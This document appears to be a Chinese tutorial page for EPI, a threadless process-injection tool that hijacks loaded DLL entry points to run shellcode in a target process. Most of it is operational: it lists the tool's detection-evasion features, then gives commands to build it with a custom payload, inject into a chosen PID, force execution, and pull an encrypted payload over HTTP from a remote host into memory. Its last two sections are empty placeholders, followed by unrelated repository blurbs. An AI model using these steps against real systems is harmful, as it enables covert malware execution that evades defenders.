EPI 项目使用与启动教程
1. 项目介绍
EPI(Entry Point Injection)是一个利用新的无线程进程注入技术,通过劫持已加载的 DLL 文件的入口点来实现进程注入的工具。该工具通过修改目标进程的 PEB(Process Environment Block),使得已加载的 DLL 文件的入口点被重定向到注入的壳代码(默认情况下是转换为 sRDI 的 Loader)。当进程自然创建新线程或线程退出时,所有已加载模块的入口点都会被调用,包括我们的注入壳代码。
EPI 的主要优势包括:
- 支持无线程或有线程执行模式。
- 不进行钩子操作(即不对 RX 内存区域进行 JMP 或 CALL 指令的修补)。
- 在已知 DLL 的 RX 内存页上不生成私有内存区域。
- 不需要 RWX 内存权限。
- 目标进程可以继续其常规执行。
- 没有新线程的起始地址指向我们的壳代码。
2. 项目快速启动
环境准备
在编译前,需要设置 LITCRYPT 加密密钥环境变量。打开命令行,执行以下命令:
set LITCRYPT_ENCRYPT_KEY="setarandomkeyeachtime"
编译项目
使用工具默认配置
编译 EPI 项目:
cargo build --release
编译完成后,运行工具:
epi.exe -h
无 Loader - 自定义 payload
如果你希望直接执行自定义的壳代码而不使用 Loader(强烈不推荐),运行 builder.py 脚本并指定 payload 文件的完整路径:
python3 builder.py -p c:\path\to\payload.bin
然后运行 epi.exe:
epi.exe -h
使用 Loader 和自定义 payload
这是推荐的用法,因为它允许你以最可靠的方式完全自定义执行。要构建工具,运行 builder.py 脚本并使用 -l 标志指示使用 Loader。如果你想要在 Loader 中启用间接系统调用,可以使用 -i 标志。
python3 builder.py -l -p c:\path\to\payload.bin [-i]
编译完成后,注入器即可使用:
epi.exe -p <PID> [flags]
如果你不想在最终二进制中嵌入最终的 PIC 代码,可以加密它(使用简单的 XOR 加密),通过 -d 标志传递给 builder.py,然后通过 HTTP 直接下载到注入器进程内存中。
python3 builder.py -l -p c:\path\to\payload.bin -d [-i]
加密后的 payload 将被写入 payload 目录。加密密钥与 LITCRYPT_ENCRYPT_KEY 环境变量相同。这个值必须传递给 epi.exe 才能在运行时解密 payload:
epi.exe -p <PID> -u http://remoteip/payload.bin -k setarandomkeyeachtime [flags]
基本使用
传递目标进程的 PID 给工具,并等待线程的创建或退出:
epi.exe -p 1337
如果需要启用 DEBUG 权限以进行注入,可以使用 -d 标志。启用注入器的间接系统调用也可以通过 -i 标志实现。
epi.exe -p 1337 -d -i
如果你不想等待自然创建新线程,可以使用 -f 标志强制创建一个新线程。
epi.exe -p 1337 -f
最后,可以通过发送 WM_QUIT 消息到目标进程的所有线程来强制执行注入的壳代码。
epi.exe -p 1337 -s
3. 应用案例和最佳实践
(此处可以添加具体的应用案例和最佳实践,例如如何在特定场景下使用 EPI,如何调整配置以适应不同的需求等。)
4. 典型生态项目
(此处可以介绍与 EPI 相关的生态项目,例如其他进程注入工具、安全防护工具等,以及如何将它们与 EPI 结合使用。)
kernelopenEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。C0134
let_datasetLET数据集 基于全尺寸人形机器人 Kuavo 4 Pro 采集,涵盖多场景、多类型操作的真实世界多任务数据。面向机器人操作、移动与交互任务,支持真实环境下的可扩展机器人学习00
mindquantumMindQuantum is a general software library supporting the development of applications for quantum computation.Python059
PaddleOCR-VLPaddleOCR-VL 是一款顶尖且资源高效的文档解析专用模型。其核心组件为 PaddleOCR-VL-0.9B,这是一款精简却功能强大的视觉语言模型(VLM)。该模型融合了 NaViT 风格的动态分辨率视觉编码器与 ERNIE-4.5-0.3B 语言模型,可实现精准的元素识别。Python00
GLM-4.7-FlashGLM-4.7-Flash 是一款 30B-A3B MoE 模型。作为 30B 级别中的佼佼者,GLM-4.7-Flash 为追求性能与效率平衡的轻量化部署提供了全新选择。Jinja00
AgentCPM-ReportAgentCPM-Report是由THUNLP、中国人民大学RUCBM和ModelBest联合开发的开源大语言模型智能体。它基于MiniCPM4.1 80亿参数基座模型构建,接收用户指令作为输入,可自主生成长篇报告。Python00